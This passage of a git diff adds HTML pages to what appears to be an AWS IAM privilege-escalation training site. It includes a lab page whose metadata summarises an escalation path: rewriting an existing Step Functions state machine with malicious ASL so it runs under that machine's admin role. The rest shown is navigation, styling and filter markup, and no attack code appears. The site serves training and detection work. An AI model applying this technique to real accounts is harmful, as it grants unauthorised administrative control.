+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/stepfunctions-002/index.html b/docs/labs/stepfunctions-002/index.html
new file mode 100644
index 00000000..c9916e9a
--- /dev/null
+++ b/docs/labs/stepfunctions-002/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>UpdateStateMachine + StartExecution on Existing Admin-Role State Machine - pathfinding.cloud Labs</title>
+    <meta name="description" content="Principal with states:UpdateStateMachine and states:StartExecution can replace an existing state machine&#x27;s definition with malicious ASL that runs under the machine&#x27;s pre-existing admin role — no iam:PassRole required">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/stepfunctions-002/">
+    <meta property="og:title" content="UpdateStateMachine + StartExecution on Existing Admin-Role State Machine - pathfinding.cloud Labs">
+    <meta property="og:description" content="Principal with states:UpdateStateMachine and states:StartExecution can replace an existing state machine&#x27;s definition with malicious ASL that runs under the machine&#x27;s pre-existing admin role — no iam:PassRole required">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="UpdateStateMachine + StartExecution on Existing Admin-Role State Machine - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="Principal with states:UpdateStateMachine and states:StartExecution can replace an existing state machine&#x27;s definition with malicious ASL that runs under the machine&#x27;s pre-existing admin role — no iam:PassRole required">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
